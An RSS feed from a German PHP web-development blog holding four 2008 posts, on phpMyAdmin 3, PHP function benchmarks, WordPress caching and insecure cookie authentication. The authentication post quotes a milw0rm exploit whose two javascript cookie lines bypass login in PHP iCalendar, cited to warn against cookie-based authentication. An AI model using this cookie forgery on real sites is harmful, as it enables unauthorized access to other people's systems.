<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>trafex &#187; PHP</title>
	<atom:link href="http://trafex.de/blog/category/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://trafex.de</link>
	<description>webdev blog</description>
	<lastBuildDate>Sun, 22 Nov 2009 19:55:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>phpMyAdmin 3 released</title>
		<link>http://trafex.de/blog/33/phpmyadmin-3-released/</link>
		<comments>http://trafex.de/blog/33/phpmyadmin-3-released/#comments</comments>
		<pubDate>Mon, 29 Sep 2008 10:25:31 +0000</pubDate>
		<dc:creator>StefanB</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PBXT]]></category>
		<category><![CDATA[phpMyAdmin]]></category>
		<category><![CDATA[Verwaltung Maria]]></category>

		<guid isPermaLink="false">http://trafex.de/?p=33</guid>
		<description><![CDATA[An diesem Wochenende wurde die 3. Version des MySQL-Verwaltungstools phpMyAdmin veröffentlicht.
Die Hauptänderung ist die Unterstützung für MySQL 5.1 sowie die Maria- und PBXT Storage Engine. Die Maria-Engine soll auf lange Sicht die  standardmäßig verwendete MyISAM-Engine ablösen.
Allerdings ist damit die Unterstützung für ältere MySQL Versionen weggefallen, so das man jetzt MySQL 5.00 oder höher benötigt. Als [...]]]></description>
			<content:encoded><![CDATA[<p>An diesem Wochenende wurde die 3. Version des MySQL-Verwaltungstools phpMyAdmin <a href="http://wiki.cihar.com/pma/phpMyAdmin_3.0.0">veröffentlicht</a>.<br />
Die Hauptänderung ist die Unterstützung für MySQL 5.1 sowie die <a href="http://forge.mysql.com/wiki/Maria_Preview">Maria</a>- und <a href="http://dev.mysql.com/tech-resources/articles/pbxt-storage-engine.html">PBXT</a> Storage Engine. Die Maria-Engine soll auf lange Sicht die  standardmäßig verwendete MyISAM-Engine ablösen.<br />
Allerdings ist damit die Unterstützung für ältere MySQL Versionen weggefallen, so das man jetzt MySQL 5.00 oder höher benötigt. Als weitere Voraussetzung benötigt man PHP 5.2.1 oder neuer.</p>
<p>Weitere Informationen und den Download gibt es auf <a href="http://www.phpmyadmin.net/">phpMyAdmin.net</a></p>
]]></content:encoded>
			<wfw:commentRss>http://trafex.de/blog/33/phpmyadmin-3-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Authentifizierung und Anfängerfehler</title>
		<link>http://trafex.de/blog/28/authentifizierung-und-anfangerfehler/</link>
		<comments>http://trafex.de/blog/28/authentifizierung-und-anfangerfehler/#comments</comments>
		<pubDate>Tue, 23 Sep 2008 21:46:51 +0000</pubDate>
		<dc:creator>StefanB</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[anfängerfehler]]></category>
		<category><![CDATA[authentifizierung]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[milw0rm]]></category>
		<category><![CDATA[Nutzerauthentifizerung]]></category>
		<category><![CDATA[php icalendar]]></category>
		<category><![CDATA[phpicalendar]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://trafex.de/?p=28</guid>
		<description><![CDATA[Heute habe ich bei milw0rm.com folgenden Fehler im Script &#8220;PHP iCalendar&#8221; gefunden:
####################################################################
[+] PHP iCalendar &#60;= 2.24 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack
[+] Greetz : All my freind
####################################################################
---
exploit:
javascript:document.cookie = "phpicalendar_login=1; path=/";
javascript:document.cookie = "phpicalendar=1; path=/";
# milw0rm.com [2008-09-22]
Quelle: http://www.milw0rm.com/exploits/6526
Dieses Beispiel zeigt man wieder aufs deutlichste das man einfache Cookies nicht zur Authentifizierung benutzen sollte. Alle Scriptsprachen bieten [...]]]></description>
			<content:encoded><![CDATA[<p>Heute habe ich bei milw0rm.com folgenden Fehler im Script &#8220;PHP iCalendar&#8221; gefunden:</p>
<pre>####################################################################
[+] PHP iCalendar &lt;= 2.24 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack
[+] Greetz : All my freind
####################################################################
---
exploit:
javascript:document.cookie = "phpicalendar_login=1; path=/";
javascript:document.cookie = "phpicalendar=1; path=/";</pre>
<pre># milw0rm.com [2008-09-22]
Quelle: http://www.milw0rm.com/exploits/6526</pre>
<p>Dieses Beispiel zeigt man wieder aufs deutlichste das man einfache Cookies nicht zur Authentifizierung benutzen sollte. Alle Scriptsprachen bieten mindestens eine Art von Session-System, mit dem man eine Nutzerauthentifizerung auf einfache Art und Weise implementieren kann und an allen Stellen wird darauf hingewiesen das Cookies unsicher sind. Um so schlimmer ist es auch noch das solche Scripte öffentlich angeboten werden. Ein Grund mehr nicht jedem Script, welches angeboten wird, zu vertrauen.</p>
]]></content:encoded>
			<wfw:commentRss>http://trafex.de/blog/28/authentifizierung-und-anfangerfehler/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Benchmark von PHP Funktionen und ihren Varianten</title>
		<link>http://trafex.de/blog/26/benchmark-php-funktionen-und-ihren-varianten/</link>
		<comments>http://trafex.de/blog/26/benchmark-php-funktionen-und-ihren-varianten/#comments</comments>
		<pubDate>Thu, 12 Jun 2008 14:10:09 +0000</pubDate>
		<dc:creator>StefanB</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Benchmark]]></category>
		<category><![CDATA[Optimierung]]></category>

		<guid isPermaLink="false">http://trafex.de/?p=26</guid>
		<description><![CDATA[Das sich die Ausführungsgeschwindigkeit von verschiedenen Funktionen in PHP unterscheidet sollte eigentlich bekannt sein. Chris Vincent hat dazu nun auf der Seite phpbench.com dazu eine Übersicht bereitgestellt, welche die verschiedenen Funktionen miteinander vergleicht. Dazu gibt es zu jeder Funktion Code-Beispiele.
So sieht man z.B. schön, dass die Verwendung von foreach() beim Abarbeiten eines Hashs deutlich schneller [...]]]></description>
			<content:encoded><![CDATA[<p>Das sich die Ausführungsgeschwindigkeit von verschiedenen Funktionen in PHP unterscheidet sollte eigentlich bekannt sein. <a href="http://www.chrisvincent.com.au/">Chris Vincent</a> hat dazu nun auf der Seite <a href="http://www.phpbench.com/">phpbench.com</a> dazu eine Übersicht bereitgestellt, welche die verschiedenen Funktionen miteinander vergleicht. Dazu gibt es zu jeder Funktion Code-Beispiele.<br />
So sieht man z.B. schön, dass die Verwendung von foreach() beim Abarbeiten eines Hashs deutlich schneller ist als eine while()-Schleife, aber auch nicht in jedem Fall. Oder das print etwas langsamer arbeitet als echo.</p>
]]></content:encoded>
			<wfw:commentRss>http://trafex.de/blog/26/benchmark-php-funktionen-und-ihren-varianten/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wordpress durch Caching beschleunigen</title>
		<link>http://trafex.de/blog/15/wordpress-durch-caching-beschleunigen/</link>
		<comments>http://trafex.de/blog/15/wordpress-durch-caching-beschleunigen/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 07:23:09 +0000</pubDate>
		<dc:creator>StefanB</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[trafex]]></category>
		<category><![CDATA[Caching]]></category>
		<category><![CDATA[Optimierung]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://trafex.de/blog/15/wordpress-durch-caching-beschleunigen/</guid>
		<description><![CDATA[Wordpress ist im allgemeinen doch recht schnell. Man kann durch PHP-Optimizer noch etwas Geschwindigkeit &#8216;rausholen. Dazu bietet sich z.B. eAccelerator an, welcher als Fork aus dem mmcache hervorging.
Gerade habe ich eine andere, einfach zu installierende Möglichkeit entdeckt, welch auch ohne Server-Zugang zur Installation von PHP-Modulen auskommt: ein einfach zu installierende Wordpress Plugin namens &#8220;WP-Cache&#8221;
Dieses wird [...]]]></description>
			<content:encoded><![CDATA[<p>Wordpress ist im allgemeinen doch recht schnell. Man kann durch PHP-Optimizer noch etwas Geschwindigkeit &#8216;rausholen. Dazu bietet sich z.B. eAccelerator an, welcher als Fork aus dem mmcache hervorging.<br />
Gerade habe ich eine andere, einfach zu installierende Möglichkeit entdeckt, welch auch ohne Server-Zugang zur Installation von PHP-Modulen auskommt: ein einfach zu installierende Wordpress Plugin namens &#8220;<a href="http://mnm.uib.es/gallir/wp-cache-2/">WP-Cache</a>&#8221;<br />
Dieses wird &#8211; wie schon erwähnt &#8211; einfach als Wordpress PlugIn installiert. Anschließend muss man noch einen symbolischen Link erzeugen (wer dies nicht kann (z.B. beim Zugang über FTP) kann die Datei auch einfach kopieren), ein kleiner Config-Eintrag hinzu und das Plugin sowie das Caching noch anschalten und schon kann gecached werden.</p>
<p>Das Plugin arbeitet in 2 Stufen: die erste schaut nach, ob eine gegachte  Version der Seite vorliegt und liefert diese ggf. aus. Die 2. Stufe kommt zum Tragen wenn die Seite noch nicht gecached ist oder wenn die Cache-Laufzeit überschritten ist. Es wird die komplette Seite incl. aller Plugins gecached und somit die Auslieferungsgeschwindigkeit um einiges Erhöht. Alle Optionen kann man fein säuberlich einstellen. Auch wenn bestimmte Seiten nicht gecached werden sollen und und und.</p>
]]></content:encoded>
			<wfw:commentRss>http://trafex.de/blog/15/wordpress-durch-caching-beschleunigen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.144 seconds -->
